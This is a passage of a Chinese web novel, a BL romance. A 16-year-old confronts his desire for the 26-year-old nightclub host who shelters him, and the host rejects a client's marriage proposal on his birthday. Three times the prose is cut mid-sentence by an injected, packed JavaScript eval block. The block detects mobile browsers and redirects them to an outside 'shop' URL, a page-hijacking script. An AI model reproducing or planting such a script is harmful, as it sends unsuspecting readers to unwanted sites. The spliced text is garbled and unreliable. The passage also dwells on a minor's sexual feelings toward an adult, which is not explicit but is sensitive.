那眉眼褪去了平日里的盛气凌人,反倒透出几分脆弱到摇摇欲坠的美感,长睫垂在眼下投出一片浅浅的阴影,随着呼吸起伏如蝶翼般轻颤,仿佛下一秒就要力竭折断。 梁旭铭用手背轻轻贴了贴云昭至的额头,心口仿佛有滚烫的岩浆在叫嚣着要冲出胸膛。 他盯着那张脸,只觉得怎么看都看不腻。 怎么会有人这样好看?这样让人移不开眼? 梁旭铭的目光从云昭至脸颊两侧泛着的病态潮红一路滑到眼下那枚泪痣,心脏没由来挛缩了一下。 他总觉得自己好像在哪见过云昭至这副模样。 并不是在云昭至之前生病的时候,而是在别的什么地方。 具体是什么时候呢?却想不起来。 在他沉思的时候,床上人的眼皮微微掀开一点,眸中泛着朦胧的水光。 “你醒了?现在感觉怎么样?”梁旭铭立刻把刚刚的问题抛到脑后,关切地凑近。 云昭至的眼尾洇着淡淡的红,像哭过一场似的,他视线发着飘落在面前俯身的人影上,恍惚间有种时光倒流的错觉。 熟悉的轮廓在昏暗的光线里模糊成记忆里的另一副面孔,一样的关怀备至,一样的嘘寒问暖。 清醒的时候他是不会认错人的,可是现在他神志不清,以为自己在做梦。 梁旭铭耐心地等了一会儿都没有等到回答,担心地皱起眉,刚要继续问就见云昭至嘴一撇,娇嗔道:“你怎么还不给我倒水?” 烧昏的大脑无法思考,做出的一切反应都是凭借习惯和本能。 这一瞬间仿佛有酥酥麻麻的电流从梁旭铭的心口涌出,他立刻受宠若惊地起身:“我这就去,这就去。” 不知道是不是错觉,出门时他似乎听见身后传来不满的“哼哼”声。 梁旭铭很快倒了水端进来,刚想递给云昭至,却见面前人闭上眼睛对着自己仰起脸。 这个姿势让他愣了一下,头皮如过电般发麻,大脑一片空白。 下一秒闭着眼睛的人不悦地嘟囔:“我好困,你怎么还不给我喝水?” 梁旭铭这才恍然大悟云昭至是想要自己喂他喝水,想到自己刚刚的误会尴尬地笑了笑。 云昭至只喝了一口就立刻蹙起眉,毫无征兆地把头扭开,梁旭铭没反应过来将倾斜的水杯扶正,只下意识调整了方向,让水没有撒到云昭至身上而是转而撒到自己身上。 “好烫。”云昭至眼睫半垂,只掀了道细缝瞧他,眼底攒着几分明晃晃的愠意。 衣角滴滴答答地滴水,梁旭铭却没有时间去管,连忙去重新倒水。 他很少见到云昭至这副颐指气使的模样,不仅不生气还觉得有些稀奇和忍俊不禁。 平时云昭至脾气虽然算不上好,但也并没有故意刁难过他,倒水之类的活更是从来不会命令他去做。 怪不得都说生病的人像小孩呢。 喂云昭至喝完水,梁旭铭满足地伺候他躺下,完全没有想过为什么云昭至之前生病不这样,只有这一次这样。 眼看云昭至又要陷入昏睡,梁旭铭轻手轻脚起身,想去厨房先煮点粥,等云昭至醒来刚好能吃上。 这时床上仿佛已经陷入昏睡的人却忽然闭着眼睛对他勾了勾手指:“过来。” 梁旭铭听话地走过去低下头,下一秒温热的软濡擦过他的下颌。 脑子里“轰”一声炸开,心跳刹那间乱了节拍。 他猛地往后倒退两步差点摔倒,眼睛瞪着床上再次迷迷糊糊陷入昏睡的人,耳尖几不可查地漫上薄红。 是烧傻了?还是把他认成了别人? 第二个疑问出现的瞬间梁旭铭整个人如坠冰窖,本来还在发热的大脑立刻就冷静下来,心口止不住的发寒。 联想到刚刚云昭至对自己和平常截然不同的态度,他顿时更肯定了第二个想法。 耳根的热度一点点冷却,他盯着床上人雪白的面容,目光微寒。 云昭至是把他当成谁了? 他现在的男朋友?李轩览?又或者是哪一个客人? 还是……他哥? 晚上梁旭铭又梦见了云昭至躺在床上病恹恹的模样,眼尾和脸颊两侧都泛着病态的红,整张脸透出一种说不出的味道。 下一秒梦中人闭着眼睛微微张开红唇,微弱的呻吟从中断断续续的泄出。 梁旭铭心神俱震,猛地从梦中惊醒。 他终于想起是在哪里见过云昭至躺在床上的病容了。 在他曾经做过却遗忘的春梦里。 出去时梁旭铭看见云昭至坐在沙发上看电视,脑海中立刻浮现出刚刚做的梦,本来就没完全熄灭的身体反应更加剧烈,烧得他口干舌燥。 云昭至随意地侧头瞥了一眼,看他神色不对,招他过来面前:“又做噩梦了吗?” 梁旭铭没反应过来,过了好几秒才摇摇头:“不是噩梦。” 却比噩梦还要可怕。 他咽了一下口水,观察了一下云昭至的气色:“你退烧了吗?” “嗯,起来就退了。” 云昭至看他一脸魂不守舍,以为他又梦见离世的亲人了,伸手想要摸一摸面前人的头。 熟悉的香气萦绕在鼻尖,梁旭铭瞳孔微缩,反应很大地避开了对方的触碰。 云昭至顿了顿。 梁旭铭这才发现自己躲避的动作太刻意,却也想不出应该如何解释,只能生硬地转移话题:“昭至哥,你还记得你生病以后的事吗?” “你是说李轩览过来的事?”云昭至没回过神:“那是我喊他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299258|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的。” “我知道,不是这件事。”梁旭铭紧紧盯着他,不错过任何一丝表情变化:“是他离开之后的事。” 云昭至蹙起眉,眉眼间流露出货真价实的疑惑:“他走了以后还发生了什么吗?我不是一直在睡觉?” 梁旭铭和面前人对视了好一会儿,终于确认对方已经全然忘记了那个让他心魂俱慑的吻。 半晌,他低下头笑了一下:“没发生什么,我就问问。” 自从那天之后,梁旭铭连续很多天都梦见了云昭至。 梦境的场景各不相同,有时候他们在餐厅里吃饭;有时候他们在火车上肩靠肩坐在一起;也有的时候,他们在公园里手牵着手一起散步。 梦里的他是长大后的体型,又高又壮,能很好地把云昭至完全圈在怀里。 这些梦的内容很无厘头,但在梁旭铭看来都还在正常范围内,便也没有过多去往深处想。 直到这一天,他梦见云昭至像对那些客人一样对着自己妩媚地笑着,上挑的眼尾透出数不尽的旖旎风情。 下一秒,云昭至主动凑上前亲了亲他。 不是和那天病后迷迷糊糊认错人一样的亲脸,而是直接亲的嘴唇。 梁旭铭从没和人接过吻,幻想中只觉得唇贴唇的感觉非常好,柔软的像是在吃棉花糖。 哪怕是在梦里他的脑子依然有一瞬短路,下意识的反应竟不是推开,而是把人勾回来加重那个吻。 随后一发不可收拾。 这次醒来后梁旭铭立刻感觉到身体上强烈到无法忽视的反应,裤/裆处鼓鼓囊囊,胀得难受。 稍微回忆了一下刚刚那个脸红心跳的梦,立刻就感觉到身体上的反应愈演愈烈。 梁旭铭没有去疏解,沉默了一会儿拿出手机在网上搜:对朝夕相处类似于亲人一样的同/性产生了性/欲是什么原因。 搜出来的原因多种多样,其中有一条说16岁正处于青春期,对亲密对象产生生理层面的好奇与渴望是本能的发育表现,长期朝夕相处的同/性因熟悉度高、接触频繁,容易成为性冲动的投射对象,与性取向和爱情关系没有绝对的直接关联。 梁旭铭松了口气。 当晚在梦里再次看见云昭至的时候,他就知道这口气还是松早了。 这次的梦和之前有所不同,不再是云昭至和他的亲密互动,而是变成了云昭至和另一个他看不清脸的男人。 云昭至和那个男人甜甜蜜蜜地在各种地方约会,他想尽了办法阻拦,却还是只能眼睁睁看着他们走到结婚的地步。 梁旭铭气得在婚礼上大闹,现场沸沸扬扬,台上云昭至穿着雪白的婚纱,棕红色的头发垂在脸颊两侧,漂亮凌厉的眉目呈现出一种冰冷的柔软和悲悯:“你应该祝福我找到幸福。” “你不希望我幸福吗?” 柔软的语调如同最锋利的刀,缠绕在周围扎了一身伤,梁旭铭满嘴苦涩,声音干涩到像是从喉咙里挤出来的:“你一定要和他结婚才能幸福吗?” 心底模糊的想法逐渐清晰,他望着面前人漆黑的眼眸,终于把那句话问出口:“我能不能让你幸福?” 15. 生日 梦境戛然而止,梁旭铭猛地坐起身,胸膛起伏不定。 半晌,他忽然伸手给了自己一巴掌。 他对自己丝毫没有留情,脸颊上立刻浮现出红肿的掌印。 梦里的感触太过深刻,梁旭铭终于无法再欺骗自己。 他对云昭至根本不只是青春期的好奇和冲动,他生理和心理对云昭至的极度渴望或许从很早就开始了。 梁旭铭想起自己第一次做春/梦的时候,那是在十四岁的某一天,当时他醒来就忘了梦里对方的面孔,后面许多次春/梦也都没有看清那个人是谁。 到现在他才明白,原来不是没有看清,而是不敢看清。 现在他终于无法再回避。 他想要云昭至的目光停留在自己身上,想要对方的幸福和痛苦都是因为自己。 他爱上了离世哥哥曾经的恋人,爱上了好心收留自己的云昭至。 那天之后云昭至依旧和从前一样晚出晚归,好像真的对那天发生的一切都毫无印象。 这天他刚到云顶会所,姚鑫蔓就把他拉到了一边,眼里闪烁着兴奋的光:“你男朋友又来了。” 云昭至微微蹙眉:“他来干什么。” “点你啊。”姚鑫蔓笑道:“估计是不想你接待别的客人吧。” 云昭至无声地叹了口气,刚想走过去却被扯住衣角。 姚鑫蔓收起说笑的神色,表情隐隐透出几分认真:“他看起来对你好像是认真的……但你知道,这不一定是好事。” 她凑到云昭至身边小声地出谋划策:“他这样一直霸着你也不是事儿,有很多想找你的客人都很不满,你看看要不要今天见见其他人?” 来这里的客人大体可以分为两种,单纯喝酒散心的,还有想要寻欢作乐的。 而细分,又都可以分为第一次来尝鲜的新人和身经百战的熟客。 前者一般是一时兴起,三分钟热度的为多,极少有会对单独一个人上瘾的,但只要是找了云昭至的基本上都会变成常客,而且只找他一个人。 这在夜场里几乎是不可能的事情。 熟客多情无心的为多,聚散离合都是常事,这也是夜场里心照不宣的事,不过都是一时欢愉,但极少有人会腻烦云昭至。 云昭至名声在外,在内部里最出名的就是他能够把第一次来的新客变成稳定只找他的客源,就连熟客也基本上以他为先,会所的大老板也多给他几分薄面,单独给他开了特权,给他的自由度也是最高的。 会所里有一个大老板和一个小老板,平日里都是小老板出面处理事情,大老板很少露面,偶尔出现也表现的对云昭至青睐有加。 毕竟是招牌摇钱树。 都说云昭至受欢迎,七分赢在那张惊为天人的脸,三分胜在那因人施策的通透性子。 来这里的客人大多都是视觉动物,看重第一眼的感觉,但是这种新鲜感向来不长久,云昭至却可以把这短暂的兴趣无限拉长。 只是再稳定的客源也需要定期维护关系,贺彦骁现在这样其实是在变相“帮忙”赶客。 云昭至沉默几秒,五官轮廓在灯光的描摹下更显立体,他轻轻拍了拍姚鑫蔓的肩膀:“谢谢,我会和他谈一谈的。” “没什么好谈的。” 包间里贺彦骁听完云昭至的话后立刻冷下脸,带着醋意的怒火在眼底跳动:“我作为你的男朋友不想你去见那么多客人有什么错?我又不是不给你钱。” 他的语气里不自觉带着点轻蔑,云昭至知道那不是针对自己的,却依旧垂下眼帘。 钱和感情都是最廉价也最珍贵的东西了。 在谈感情的时候,钱很廉价。 在谈钱的时候,感情很廉价。 云昭至第一次感到后悔,他想自己从一开始就不应该答应贺彦骁的告白。 半晌,他抿了抿唇:“不是钱的问题。” “那是什么问题?”贺彦骁想不明白:“你来这里工作不就是为了钱为了还债吗?你的债我都可以帮你还。” 看着面前人苍白的面容,贺彦骁一向迟钝的大脑忽然转动了一次,他恍然大悟,神色蓦地冷下来:“你不相信我。” 下一秒云昭至坐到了他的腿上,他满心怒火和说不清道不明的委屈瞬间一窒。 柔软的双唇从他下巴上虚虚蹭过,云昭至的声音轻到仿若下一秒就会消散:“我不是不相信你,是觉得不应该这样。” 他似叹非叹:“我的债已经快还完了,到底是我不相信你还是你不相信我?” 贺彦骁望着面前人微颤的睫毛,心口仿佛也在随之发生震动。 怎么会有人从头到脚都透着脆弱柔软,骨子里却仿佛藏着绵绵的细针,总在细枝末节里不动声色地轻轻扎上一下。 云昭至轻轻探进他掌心,柔软的指尖带着微凉的温度,不等他反应便主动勾住他的指缝,与他十指相扣。 亲密的动作下,他的口中吐出的却是冰凉的叹息:“你再这样的话,我都不知道要怎么和你继续谈恋爱了。” 贺彦骁心头一跳,对着他这副模样却又实在发不出半点火,只能沉声问道:“那你想要我怎么样?眼睁睁看着你和不同男人谈笑欢声吗?” 云昭至不合时宜地想起李轩览的好来,当初谈恋爱时李轩览哪怕一直坐在旁边也从来不会影响他上班,更不会对他的工作指手画脚,只会在他遇到难缠的客人时挺身而出。 他情不自禁感到几分烦躁,贺彦骁怎么就不能像李轩览当初一样呢? 见云昭至低着头不说话,贺彦骁以为对方是无言以对了,又有些心软。 说到底云昭至跟了自己不少年,就连第一次都是和自己,直到今年才有了名分,没有安全感也是正常的。 这么一想他又觉得云昭至想接待其他客人也没什么大不了,他应该对云昭至多一点信任。 于是贺彦骁主动转移话题,说到自己今天过来这一趟本来想说的话:“你的生日是不是快到了?” “我记得你的生日在月底……夏至那一天是不是?” 云昭至在他怀里点了点头:“嗯。” “这是你的多少岁生日来着?二十五还是二十六?” “二十六。”云昭至说出来时自己都愣了一下,不知不觉竟然已经过去了那么多年。 八年过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299259|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了,当年的一幕幕却依旧清晰。 贺彦骁摸了摸他的发顶,感慨道:“瞧你,和十八岁时比起来都不见老……这就是岁月从来不败美人吗?” 对于他的调侃云昭至只是笑了一下:“你却比那时候成熟帅气多了。” 说话时云昭至一双黑眸专注地望着他,没有刻意的谄媚和讨好,却无端令人更加受用。 贺彦骁很喜欢听云昭至夸自己,顿时笑逐颜开,愉悦道:“等你生日那天我有个惊喜要给你。” “什么惊喜?”云昭至扬起嘴角,配合地问道。 从上往下看那张白皙的脸庞没有一丝瑕疵,如此近距离去看那精致的五官更是勾魂摄魄。 贺彦骁的喉结滚动,眸色渐深:“不告诉你,等到那天就知道了。” 他低头轻轻在那红润的双唇上落下一个吻:“肯定让你终身难忘。” 对于贺彦骁说的惊喜云昭至表面上很憧憬,实际上却不以为意。 他所期待的是另一个生日礼物。 从云昭至十八岁那年起,他每一年都会收到一份神秘快递,打开是一盆小盆栽。 每年的品种都不同,却会搭配同一款式的贺卡。 其实云昭至是没有过生日的习惯的,不仅生日,其他节假日也不怎么过,但总会有人非要给他过,比如贺彦骁,比如梁旭铭。 但这份礼物很特别,不贵重,却刚好送到他心坎上。 云昭至把这些小植物养得很好,已经摆满了半个阳台。 包裹没有署名也没有寄件人信息,却在每年他生日这一天风雨无阻地出现在他家门口。 他一开始以为是哪个暗恋自己的客人,后面却真切地开始好奇对方的身份。 云昭至去调取过监控,却发现送来包裹的人是附近花店的店员,他去问的时候得知是有人在线上转了钱让他们帮忙把盆栽放到他家门口。 店员很紧张地问他是不是盆栽有什么问题,得到否定的答案才松了一口气。 客户的隐私不能随便泄露,云昭至只能趁机瞥了一眼那个人的头像和昵称。 头像是一片红色的玫瑰花,昵称是0.01%。 云昭至想了很久,在脑海里翻遍了所有认识的人,最后也没找到一个能对上号的。 算了。 关于那个神秘人的身份他没再去探究,只是每年在生日快要来临时便会不自觉升起隐秘的期待:今年自己会收到什么样的盆栽呢? 手机上的日期一天天过去,炎热的夏风混合着蝉鸣声漫过大街小巷,时间悄然流逝,很快便来到了云昭至生日的这一天。 六月二十一日,夏至。 包间里坐着一位高大英俊的男人,门被打开时他正一下一下敲着桌面,满脸不耐。 见到来人,贺彦骁脸上的急躁刹那间消失地无影无踪,眉目间盛满惊喜:“吱吱!” 云昭至穿着精致的礼服走到他面前,明媚的眉眼透出盈盈的笑意。 贺彦骁情不自禁放轻呼吸,满眼痴迷:“生日快乐。” 面前人下一秒的动作让云昭至脸上的笑容瞬间消失,心底也升起不好的预感。 16. 求婚 云昭至几乎是逃走的。 在看见贺彦骁单膝下跪时他就预感到了对方之后要做的事,想要阻拦却已经来不及了。 于是在贺彦骁充满期盼的目光里他下意识脱口而出:“我什么时候说要和你结婚了?” 下一秒他在对方瞬间紧缩的瞳孔中看见了自己的面孔,才反应过来自己说了什么。 云昭至根本不敢再去看贺彦骁的表情,只留下一句干涩的“对不起”便扭头想要逃离。 走到门口时他听见身后传来贺彦骁的喊声,那嗓音里满是不甘和疑惑:“你为什么不想和我结婚?你不喜欢我吗?不喜欢我为什么那时候要答应和我在一起?” 云昭至没有回头。 耳边满是呼啸的风声,他好像想了很多,又好像什么都没想。 贺彦骁为什么会求婚?他的家里怎么可能同意? 一路逃到家门口,短暂的目眩后云昭至看见门口的地毯上放着一个包裹。 他的胸口上下起伏着,蹲下身呼吸急促地撕开了那个包裹。 指尖触到花盆的边缘,连带着心尖都在微微颤动。 今年的盆栽是沙漠玫瑰。 云昭至忽然发现包裹里还有一张小卡片,这是往年都没有的。 卡片的正面写了养护攻略,还特意强调了植物的毒性,让他多加小心。 是手写的字体,云昭至看着思考了好一会儿也没认出是谁的字迹。 这时他随意翻了卡片,发现背面还有一串微信号。 云昭至的指尖顿住了。 曾经心心念念好奇那个人的身份,后面习惯了这每年都来的礼物,反而对送礼者的身份不再感兴趣。 是加还是不加? 正当他犹豫不决,屋里梁旭铭探出了头:“昭至哥,你怎么一直在外面不进来?” 云昭至回过神来,一边进门一边随口问:“你今天怎么不去上学?” 他把盆栽放到了阳台,那张卡片则被随手塞进了裤兜里。 梁旭铭嘴角僵了僵,语调也变低了:“今天周日,不用上课。” 随后他又状似无意地埋怨:“你一点都不关心我。” 云昭至在夜场昼夜颠倒久了,对时间的流逝早就失去了具体的概念,闻言也只是点了点头。 其实梁旭铭本来想的是在云昭至进门时放礼炮吓他一跳,再把蛋糕和礼物拿出来给对方一个惊喜。 但是他在屋里准备了半天云昭至也没进来,他实在忍不住主动出去催促。 这样一来也不能按照本来预想的流程给云昭至一个惊喜了,梁旭铭有些郁闷。 云昭至没有察觉他的郁闷,但是看见了桌上的草莓蛋糕,双眼一亮。 这时身旁人往他手里塞了个什么,他低头一看,发现是一只小狐狸玩偶。 “昭至哥,谢谢你收留我。”梁旭铭紧紧盯着他的脸,生怕错过一个表情:“生日快乐。” 玩偶是短毛,材质摸起来很柔软,云昭至没忍住揉了几把,眉眼舒展开来:“怎么想到送我这个?” 梁旭铭见他的反应不像是不喜欢,紧绷的背脊慢慢放松下来,柔声道:“你不觉得这只小狐狸很像你吗?” “像我吗?”云昭至瞪大双眼,低头和小狐狸玩偶对视。 几秒后,他似乎恍然大悟:“你是说颜色吗?确实和我的头发颜色有点像。” 梁旭铭下意识看了一眼云昭至棕红色的发,随后否认道:“不只是颜色,你没发现吗?这只小狐狸眼睛很大,你的眼睛也很大;它看起来很漂亮,你也很漂亮……” 云昭至扬着下巴,眼尾轻轻一挑,像是对这些话不屑一顾,耳尖却漫上一层淡淡的薄红。 今年是他二十六岁生日,所以最后在蛋糕上插了六根蜡烛。 关上灯后客厅顿时陷入黑暗,烛火照亮了云昭至精致的眉眼,如水一般明艳动人。 梁旭铭趁着对方闭上双眼许愿,肆无忌惮地用目光描摹着对方的脸庞。 下一秒云昭至睁开眼刚好和他对视,漆黑的眼底映出波光粼粼的碎光。 这一下措不及防,一瞬间周遭的所有动静都消失了,梁旭铭的耳边仿佛都能听见自己的心跳声。 咚、咚、咚…… 一下一下,在胸膛里跳得热烈。 目光微微往下落到面前人红润的双唇,他忽然感到口干舌燥,有团火苗在小腹烧灼,心底深处生出一种冲动。 将心意全盘而出的冲动。 他忽地很想告诉云昭至自己的感情和欲/望,很想看见对方知道后脸上会露出怎样不可置信又羞恼的神情——那一定很漂亮。 云昭至皱了皱眉,主动移开了视线。 不知道是不是错觉,他总觉得梁旭铭今天看自己的眼神很怪异,就像是一头垂涎的饿狼,满眼都是抑制不住的贪婪和躁动。 梁旭铭突然开口,声音沙哑至极:“吱吱。” 与此同时门铃不偏不倚地响起,将那些尚未来得及说出口的话硬生生截断在空气里。 云昭至立刻被吸引走注意力,起身去开门。 在他身后,梁旭铭的目光逐渐清明,后怕出了一身冷汗。 还好。 还好没有说出口。 他现在都还不知道云昭至对梁骁和是否旧情难忘,也不知道云昭至知道以后会不会把自己赶走。 有些话说出口便是覆水难收。 云昭至走到门口时想起梁旭铭刚刚看自己的眼神,眼皮一跳,心底莫名有些不安。 他下意识回头看了一眼,却发现梁旭铭已经恢复了平时那副乖巧懂事的模样,还冲自己笑了一下,就好像自己刚刚只是出现了幻觉。 云昭至定了定神,把门打开。 门外的人是贺彦骁。 云昭至愣了一下,在他的预想里贺彦骁这样从小就水风顺水的大少爷求婚被拒后肯定会恼羞成怒,短期内应该都不会冷静下来,更不可能主动服软。 但是对方偏偏就来了。 虽然贺彦骁此刻面色铁青,但是谁都知道在刚刚求婚被拒绝的情况下还找过来就代表低头。 可云昭至丝毫没有动容的意思,脸上除了惊讶什么也没有。 没有感动,也没有欢喜。 他今年二十六岁,这是他在云顶会所待的第十一个年头。 在夜场待了太久,见了太多真真假假的爱恨情仇,感情上的感知力也在不知不觉削弱。 甚至在很多时候云昭至自己都分不清表露出的情绪是演出来的还是真实的,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299260|198621||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以在此时此刻他给不了贺彦骁想要的反应。 因为他不知道贺彦骁想要什么反应。 在今天之前云昭至一直以为自己还算得上了解贺彦骁,不然也不能次次都把对方哄开心。 直到今天,他才发现自己完全不懂贺彦骁。 他以为贺彦骁只是想玩玩,可是对方却向他求婚;他以为拒绝后贺彦骁这样心高气傲的人会选择放弃,可是对方却找上了门。 不管怎么说贺彦骁也是他的客人,而且他们还没有正式分手,所以云昭至还是让对方进了门。 进门后贺彦骁只瞥了一眼还在餐厅坐着的梁旭铭,就和没看见一样把目光移回来,声音低沉:“你有听见我最后问的问题吗?” ——“你为什么不想和我结婚?你不喜欢我吗?不喜欢我为什么那时候要答应和我在一起?” 云昭至有听见,但他摇了摇头,说没有。 贺彦骁果然也没有拉下脸再问一次,而是掏出手机点开相册,绷着脸就要递给云昭至。 餐厅里梁旭铭的脸色立刻沉了下来。 这是他第一次见到有野男人这样明目张胆地登堂入室,还当着他的面和云昭至卿卿我我的。 之前贺彦骁送云昭至到楼下,在他面前亲云昭至他就已经憋了一肚子火,此刻更是气得血压一阵阵往上升,眼前都发黑。 这时耳边响起云昭至柔和清亮的声音,带着几分若有若无的安抚:“阿骁,我们进房间再说。” 如一汪清泉淌过怒火中烧的心头,梁旭铭即将爆发的怒火堪堪被压下了几分,攥紧的拳头也松了松。 他不能冲动,不能让云昭至难做。 这一声亲昵的“阿骁”也瞬间哄好了贺彦骁,让他的脸色都好转了几分。 进卧室以后贺彦骁环顾了一圈四周,微微皱起的眉泄露出他没能及时藏好的情绪。 他送过云昭至回来很多次,但每一次都是在楼下就走了,从来没有上来看过。 打开门的时候他就惊讶于房子竟然那么小,现在看见卧室更是忍不住震惊。 云昭至客人不少,光是他一个就不知道给云昭至花过多少,更何况据他所知云昭至有些客人出手甚至比他还要大方。 按理来说云昭至不该这么…… 贺彦骁下意识想用贫穷来形容,潜意识里却又觉得这样想有些伤人,所以最后也没想出用什么词语去形容。 云昭至看出了他的想法,没什么情绪地笑了一声:“你坐椅子上吧。” 他把房间里唯一一把椅子挪过去,眼底染着淡淡的笑意:“我这里有点小——和你的大别墅没法比,将就着坐一下,嗯?” 贺彦骁在他的柔声细语里晕头转向地坐到了椅子上,过了几秒才反应过来自己本来想要说的话。 他板起脸,再次把手机递给云昭至。 云昭至顺从地低下头,去看手机上播放的视频。 视频内容,是贺彦骁对他表白的那一天。 云昭至想,原来那天贺彦骁也录了视频。 这屋子的隔音很差,隔着一道薄薄的门板,熟悉的音乐声清清楚楚地钻进贴在门后、屏气凝神偷听的梁旭铭耳朵里。 这一刻,那些在心里盘旋许久的问题似乎终于有了答案。 17. 替身 此刻房间里的人并不知道有人在外面偷听,视频里的一幕幕在云昭至眼里逐渐与多年前的画面重合。 不同的是这个视频很清晰,和他手机里的那个视频一点也不一样。 多年前梁骁和对他表白的那天是他的生日,多年后贺彦骁在他的生日对他求婚。 恍惚中云昭至有一种光怪陆离的错乱感,这让他莫名有些想笑。 抬眸对上一无所知的贺彦骁,他的心底罕见地升起一丝愧疚。 对方这时候给他看这个视频是在无声质问,也是隐晦地想让他心软。 因为贺彦骁从一开始就不知道他为什么会答应告白。 …… 昏暗的光线下梁旭铭贴着门,神色晦暗不明。 在听见熟悉的音乐声时,他脑海中只有一句话。 原来如此。 他记得云昭至手机里梁骁和唱情歌表白的那个视频,所以瞬间就反应过来云昭至为什么会答应和贺彦骁在一起。 怪不得他当初问云昭至喜不喜欢贺彦骁,云昭至并没有正面回答,还让他误以为云昭至只是单纯为了贺彦骁的钱。 现在看来,那不过是一个借口。 梁旭铭低下头,说不清自己该难过还是高兴。 原来云昭至并不喜欢贺彦骁,同意告白只是因为对方表白时唱了和梁骁和当年表白时一样的歌。 那是不是谁用同样的方式对云昭至表白他都会同意? 卧室里又响起动静,梁旭铭从只言片语中拼凑出了今天发生的事情,瞳孔瞬间放大,里面的震惊翻涌成浪,连错乱的呼吸都不知道怎么调整。 他完全没想到贺彦骁竟然会对云昭至求婚。 巨大的愤怒和恐慌瞬间漫上心头,下一秒又被强行按捺住。 还好云昭至拒绝了。 还好。 梁旭铭无声地笑了一下,喉咙里仿佛尝到了铁锈味。 他面无表情地贴着门,听见卧室里贺彦骁还在努力用过去的“美好回忆”换云昭至回心转意,很明显并不知道云昭至答应表白的真实原因只是因为他和云昭至的初恋唱了同一首歌表白。 云昭至在调整好情绪后也很快就三言两语将贺彦骁哄好,一口一个国内不能结婚自己没有安全感,还有不想让贺彦骁因为自己和家里人闹僵……诸如此类。 贺彦骁立刻就满心怜惜,各种做保证,对云昭至只剩下满心怜惜。 将这一切听进耳中的梁旭铭牙都快咬碎了,眉眼间的煞气淹没在阴影里,心里猛地生出一个想法。 如果贺彦骁知道……的话,是不是就不会继续缠着云昭至了? 虽然贺彦骁现在表面上对云昭至低声下气,可是那都是建立在他以为云昭至只是因为没有安全感才拒绝求婚。 像贺彦骁这种高高在上的富家公子,之所以肯服软也只是因为他以为云昭至爱自己。 被当成替代品这种事,他这般从小被捧大、不知天高地厚的人,绝不可能接受。 没过多久云昭至和贺彦骁就出来了,梁旭铭早已坐到沙发上,正捧着一本书神色认真。 听见动静,他抬头对云昭至露出一个乖顺的笑。 云昭至送贺彦骁下楼了,梁旭铭从窗口看见楼下云昭至和贺彦骁并肩的身影,眸色阴沉,仿佛酝酿着一场风暴。 睡前洗澡时云昭至从裤兜里翻出那张写着一串微信号的卡片,才发觉自己忙着应付贺彦骁竟然把这件事忘了。 刷牙的时候他盯着镜子发呆,满脑子都是自己要不要加那个人的好友。 他把这件事告诉了李轩览,电话里李轩览的语气不以为意:“你好奇就加呗,不然你现在一直抓心挠肝想这件事也不是个事儿。” 云昭至还是有些犹豫:“但他可能不是我认识的人。” “不认识就不认识呗,你加了不就认识了。”李轩览不知道在做什么,说话的声音有些喘:“加个好友又不是见面,我怎么不知道你还社恐呢?” “不是社恐。”云昭至无奈地解释了一句,忽然听出了什么,警觉道:“你现在在运动吗?” “对啊,在运动。” 电话那头李轩览踩着跑步机,呼吸微促间偏要拉长语调,刻意酝酿出几分暧昧的错觉:“深夜运动,要不要来一起?” 云昭至这才想起李轩览有每天健身的习惯,低声笑骂了一句就挂断了电话。 不管怎么样李轩览的话还是有几分道理的,他照着卡片上的微信号一个数字一个数字地输入,在短暂的踌躇后按下了申请好友。 只是眨了下眼的功夫,对面就通过了。 云昭至没想太多,只以为对方是刚好在线——毕竟总不可能是专门在等他的好友申请吧? 对方的昵称依然是0.01%,头像却换了,不再是他之前看见的一片红色玫瑰,而是换成了一张沙漠玫瑰的照片。 云昭至辨认了一下,好像还是对方送给自己的那盆。 在他同意好友申请后0.01%很快地发了一条消息过来。 【0.01%:生日快乐】 【0.01%:我还以为你要明天才会来加我呢】 云昭至愣了一下,对方的语气似乎对他很熟悉。 他不禁对自己的判断产生了怀疑:难道对面其实是他的熟人? 本来云昭至其实倾向于对方会是某个有过一面之缘的客人,虽然不知道对方是从什么途径知道他的地址的,但身为会所的“红人”,他的很多信息都是透明的,对方知道也不足为奇。 现在他却不太肯定了。 迟疑了一会儿云昭至还是决定直接问,他在对话框里删删改改组织语言时,对面却宛如有读心术一般发出了下一句话。 【0.01%:你是不是在想我是谁,为什么会知道你的地址?又为什么每年给你寄盆栽?】 云昭至打字的手指顿住了。 【0.01%:其实不是我送的,是我的一个朋友托我送给你……这个账号原本也是他的】 云昭至蹙起眉,眉眼间浮现出疑惑。 【云昭至:你的朋友是谁?】 【0.01%:这个不能告诉你,他不给我说】 【0.01%:[可怜]】 